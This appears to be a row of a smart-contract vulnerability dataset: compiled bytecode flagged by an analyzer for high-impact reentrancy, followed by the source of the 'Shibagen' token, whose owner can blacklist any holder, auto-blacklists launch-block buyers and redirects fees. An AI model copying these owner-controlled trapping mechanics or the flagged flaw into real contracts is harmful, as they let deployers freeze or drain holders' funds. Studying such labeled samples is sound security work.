0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104eb578063dd62ed3e1461050b578063ea1644d514610551578063f2fde38b1461057157600080fd5b8063a2a957bb14610466578063a9059cbb14610486578063bfd79284146104a6578063c3c8cd80146104d657600080fd5b80638f70ccf7116100d15780638f70ccf7146104105780638f9a55c01461043057806395d89b41146101f357806398a5c3151461044657600080fd5b806374010ece146103bc5780637d1db4a5146103dc5780638da5cb5b146103f257600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103525780636fc3eaec1461037257806370a0823114610387578063715018a6146103a757600080fd5b8063313ce567146102f657806349bd5a5e146103125780636b9990531461033257600080fd5b80631694505e116101a05780631694505e1461026457806318160ddd1461029c57806323b872dd146102c05780632fd689e3146102e057600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023457600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab5565b610591565b005b3480156101ff57600080fd5b50604080518082018252600981526843686f6d7573756b6560b81b6020820152905161022b9190611bdf565b60405180910390f35b34801561024057600080fd5b5061025461024f366004611a0b565b61063e565b604051901515815260200161022b565b34801561027057600080fd5b50601454610284906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156102a857600080fd5b50662386f26fc100005b60405190815260200161022b565b3480156102cc57600080fd5b506102546102db3660046119cb565b610655565b3480156102ec57600080fd5b506102b260185481565b34801561030257600080fd5b506040516009815260200161022b565b34801561031e57600080fd5b50601554610284906001600160a01b031681565b34801561033e57600080fd5b506101f161034d36600461195b565b6106be565b34801561035e57600080fd5b506101f161036d366004611b7c565b610709565b34801561037e57600080fd5b506101f1610751565b34801561039357600080fd5b506102b26103a236600461195b565b61079c565b3480156103b357600080fd5b506101f16107be565b3480156103c857600080fd5b506101f16103d7366004611b96565b610832565b3480156103e857600080fd5b506102b260165481565b3480156103fe57600080fd5b506000546001600160a01b0316610284565b34801561041c57600080fd5b506101f161042b366004611b7c565b610861565b34801561043c57600080fd5b506102b260175481565b34801561045257600080fd5b506101f1610461366004611b96565b6108a9565b34801561047257600080fd5b506101f1610481366004611bae565b6108d8565b34801561049257600080fd5b506102546104a1366004611a0b565b610916565b3480156104b257600080fd5b506102546104c136600461195b565b60106020526000908152604090205460ff1681565b3480156104e257600080fd5b506101f1610923565b3480156104f757600080fd5b506101f1610506366004611a36565b610977565b34801561051757600080fd5b506102b2610526366004611993565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055d57600080fd5b506101f161056c366004611b96565b610a26565b34801561057d57600080fd5b506101f161058c36600461195b565b610a55565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016105bb90611c32565b60405180910390fd5b60005b815181101561063a576001601060008484815181106105f657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063281611d45565b9150506105c7565b5050565b600061064b338484610b3f565b5060015b92915050565b6000610662848484610c63565b6106b484336106af85604051806060016040528060288152602001611da2602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061119f565b610b3f565b5060019392505050565b6000546001600160a01b031633146106e85760405162461bcd60e51b81526004016105bb90611c32565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107335760405162461bcd60e51b81526004016105bb90611c32565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078657506013546001600160a01b0316336001600160a01b0316145b61078f57600080fd5b47610799816111d9565b50565b6001600160a01b03811660009081526002602052604081205461064f9061125e565b6000546001600160a01b031633146107e85760405162461bcd60e51b81526004016105bb90611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461085c5760405162461bcd60e51b81526004016105bb90611c32565b601655565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016105bb90611c32565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108d35760405162461bcd60e51b81526004016105bb90611c32565b601855565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016105bb90611c32565b600893909355600a91909155600955600b55565b600061064b338484610c63565b6012546001600160a01b0316336001600160a01b0316148061095857506013546001600160a01b0316336001600160a01b0316145b61096157600080fd5b600061096c3061079c565b9050610799816112e2565b6000546001600160a01b031633146109a15760405162461bcd60e51b81526004016105bb90611c32565b60005b82811015610a205781600560008686858181106109d157634e487b7160e01b600052603260045260246000fd5b90506020020160208101906109e6919061195b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1881611d45565b9150506109a4565b50505050565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016105bb90611c32565b601755565b6000546001600160a01b03163314610a7f5760405162461bcd60e51b81526004016105bb90611c32565b6001600160a01b038116610ae45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ba15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bb565b6001600160a01b038216610c025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bb565b6001600160a01b038216610d295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bb565b60008111610d8b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bb565b6000546001600160a01b03848116911614801590610db757506000546001600160a01b03838116911614155b1561109857601554600160a01b900460ff16610e50576000546001600160a01b03848116911614610e505760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105bb565b601654811115610ea25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105bb565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee457506001600160a01b03821660009081526010602052604090205460ff16155b610f3c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105bb565b6015546001600160a01b03838116911614610fc15760175481610f5e8461079c565b610f689190611cd7565b10610fc15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105bb565b6000610fcc3061079c565b601854601654919250821015908210610fe55760165491505b808015610ffc5750601554600160a81b900460ff16155b801561101657506015546001600160a01b03868116911614155b801561102b5750601554600160b01b900460ff165b801561105057506001600160a01b03851660009081526005602052604090205460ff16155b801561107557506001600160a01b03841660009081526005602052604090205460ff16155b1561109557611083826112e2565b47801561109357611093476111d9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110da57506001600160a01b03831660009081526005602052604090205460ff165b8061110c57506015546001600160a01b0385811691161480159061110c57506015546001600160a01b03848116911614155b1561111957506000611193565b6015546001600160a01b03858116911614801561114457506014546001600160a01b03848116911614155b1561115657600854600c55600954600d555b6015546001600160a01b03848116911614801561118157506014546001600160a01b03858116911614155b1561119357600a54600c55600b54600d555b610a2084848484611487565b600081848411156111c35760405162461bcd60e51b81526004016105bb9190611bdf565b5060006111d08486611d2e565b95945050505050565b6012546001600160a01b03166108fc6111f38360026114b5565b6040518115909202916000818181858888f1935050505015801561121b573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112368360026114b5565b6040518115909202916000818181858888f1935050505015801561063a573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bb565b60006112cf6114f7565b90506112db83826114b5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138c57600080fd5b505afa1580156113a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c49190611977565b816001815181106113e557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461140b9130911684610b3f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611444908590600090869030904290600401611c67565b600060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114945761149461151a565b61149f848484611548565b80610a2057610a20600e54600c55600f54600d55565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163f565b600080600061150461166d565b909250905061151382826114b5565b9250505090565b600c5415801561152a5750600d54155b1561153157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061155a876116ab565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158c9087611708565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115bb908661174a565b6001600160a01b0389166000908152600260205260409020556115dd816117a9565b6115e784836117f3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162c91815260200190565b60405180910390a3505050505050505050565b600081836116605760405162461bcd60e51b81526004016105bb9190611bdf565b5060006111d08486611cef565b6006546000908190662386f26fc1000061168782826114b5565b8210156116a257505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c88a600c54600d54611817565b92509250925060006116d86114f7565b905060008060006116eb8e87878761186c565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119f565b6000806117578385611cd7565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bb565b60006117b36114f7565b905060006117c183836118bc565b306000908152600260205260409020549091506117de908261174a565b30600090815260026020526040902055505050565b6006546118009083611708565b600655600754611810908261174a565b6007555050565b6000808080611831606461182b89896118bc565b906114b5565b90506000611844606461182b8a896118bc565b9050600061185c826118568b86611708565b90611708565b9992985090965090945050505050565b600080808061187b88866118bc565b9050600061188988876118bc565b9050600061189788886118bc565b905060006118a9826118568686611708565b939b939a50919850919650505050505050565b6000826118cb5750600061064f565b60006118d78385611d0f565b9050826118e48583611cef565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bb565b803561194681611d8c565b919050565b8035801515811461194657600080fd5b60006020828403121561196c578081fd5b81356112db81611d8c565b600060208284031215611988578081fd5b81516112db81611d8c565b600080604083850312156119a5578081fd5b82356119b081611d8c565b915060208301356119c081611d8c565b809150509250929050565b6000806000606084860312156119df578081fd5b83356119ea81611d8c565b925060208401356119fa81611d8c565b929592945050506040919091013590565b60008060408385031215611a1d578182fd5b8235611a2881611d8c565b946020939093013593505050565b600080600060408486031215611a4a578283fd5b833567ffffffffffffffff80821115611a61578485fd5b818601915086601f830112611a74578485fd5b813581811115611a82578586fd5b8760208260051b8501011115611a96578586fd5b602092830195509350611aac918601905061194b565b90509250925092565b60006020808385031215611ac7578182fd5b823567ffffffffffffffff80821115611ade578384fd5b818501915085601f830112611af1578384fd5b813581811115611b0357611b03611d76565b8060051b604051601f19603f83011681018181108582111715611b2857611b28611d76565b604052828152858101935084860182860187018a1015611b46578788fd5b8795505b83861015611b6f57611b5b8161193b565b855260019590950194938601938601611b4a565b5098975050505050505050565b600060208284031215611b8d578081fd5b6112db8261194b565b600060208284031215611ba7578081fd5b5035919050565b60008060008060808587031215611bc3578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0b57858101830151858201604001528201611bef565b81811115611c1c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb65784516001600160a01b031683529383019391830191600101611c91565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cea57611cea611d60565b500190565b600082611d0a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2957611d29611d60565b500290565b600082821015611d4057611d40611d60565b500390565b6000600019821415611d5957611d59611d60565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f11908f06263a18fed9f21b823a852eec831d763ef435350005b05b9b625adc664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,253 |
0x4b82ded7e25129be0293bf697a8ca4969c709ef6
|
/**
*Submitted for verification at Etherscan.io on 2022-03-09
*/
/*
A casino is a place that some people find similar to a hotel, where you can enjoy various types staying up all night but enjoying gambling activities at the same time.
However, Casino is actually a Colosseum. It is a place for gladiators to fight, to seize, to conqueror.
You either double your bet or you earn nothing if you are not a fighter material.
Living in a cryptocurrency world is exactly like gambling in a Casino; you need to play to earn your profit.
Shibagen is designed to tell those jeets. You either die like a gladiators or live long to see yourself becomes a stupid loser. Be bold, not jeets !
Telegram: https://t.me/shibagen
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract Shibagen is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shibagen";
string private constant _symbol = unicode"Shibagen";
uint private constant _decimals = 9;
uint256 private _teamFee = 10;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(3).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(10).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(10).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 10, "not larger than 10%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bf578063cf0848f7146103d4578063cf9d4afa146103f4578063dd62ed3e14610414578063e6ec64ec1461045a578063f2fde38b1461047a57600080fd5b8063715018a6146103225780638da5cb5b1461033757806390d49b9d1461035f57806395d89b4114610172578063a9059cbb1461037f578063b515566a1461039f57600080fd5b806331c2d8471161010857806331c2d8471461023b5780633bbac5791461025b578063437823ec14610294578063476343ee146102b45780635342acb4146102c957806370a082311461030257600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610207578063313ce5671461022757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049a565b005b34801561017e57600080fd5b50604080518082018252600881526729b434b130b3b2b760c11b602082015290516101a991906117e1565b60405180910390f35b3480156101be57600080fd5b506101d26101cd36600461185b565b6104e6565b60405190151581526020016101a9565b3480156101ee57600080fd5b50670de0b6b3a76400005b6040519081526020016101a9565b34801561021357600080fd5b506101d2610222366004611887565b6104fd565b34801561023357600080fd5b5060096101f9565b34801561024757600080fd5b506101706102563660046118de565b610566565b34801561026757600080fd5b506101d26102763660046119a3565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a057600080fd5b506101706102af3660046119a3565b6105fc565b3480156102c057600080fd5b5061017061064a565b3480156102d557600080fd5b506101d26102e43660046119a3565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030e57600080fd5b506101f961031d3660046119a3565b610684565b34801561032e57600080fd5b506101706106a6565b34801561034357600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036b57600080fd5b5061017061037a3660046119a3565b6106dc565b34801561038b57600080fd5b506101d261039a36600461185b565b610756565b3480156103ab57600080fd5b506101706103ba3660046118de565b610763565b3480156103cb57600080fd5b5061017061087c565b3480156103e057600080fd5b506101706103ef3660046119a3565b610934565b34801561040057600080fd5b5061017061040f3660046119a3565b61097f565b34801561042057600080fd5b506101f961042f3660046119c0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046657600080fd5b506101706104753660046119f9565b610bda565b34801561048657600080fd5b506101706104953660046119a3565b610c50565b6000546001600160a01b031633146104cd5760405162461bcd60e51b81526004016104c490611a12565b60405180910390fd5b60006104d830610684565b90506104e381610ce8565b50565b60006104f3338484610e62565b5060015b92915050565b600061050a848484610f86565b61055c843361055785604051806060016040528060288152602001611b8d602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112ca565b610e62565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b81526004016104c490611a12565b60005b81518110156105f8576000600560008484815181106105b4576105b4611a47565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f081611a73565b915050610593565b5050565b6000546001600160a01b031633146106265760405162461bcd60e51b81526004016104c490611a12565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f8573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f790611304565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c490611a12565b6106da6000611388565b565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104c490611a12565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f3338484610f86565b6000546001600160a01b0316331461078d5760405162461bcd60e51b81526004016104c490611a12565b60005b81518110156105f857600c5482516001600160a01b03909116908390839081106107bc576107bc611a47565b60200260200101516001600160a01b03161415801561080d5750600b5482516001600160a01b03909116908390839081106107f9576107f9611a47565b60200260200101516001600160a01b031614155b1561086a5760016005600084848151811061082a5761082a611a47565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087481611a73565b915050610790565b6000546001600160a01b031633146108a65760405162461bcd60e51b81526004016104c490611a12565b600c54600160a01b900460ff1661090a5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c4565b600c805460ff60b81b1916600160b81b17905542600d81905561092f9061012c611a8e565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c490611a12565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c490611a12565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c4565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611aa6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611aa6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611aa6565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460f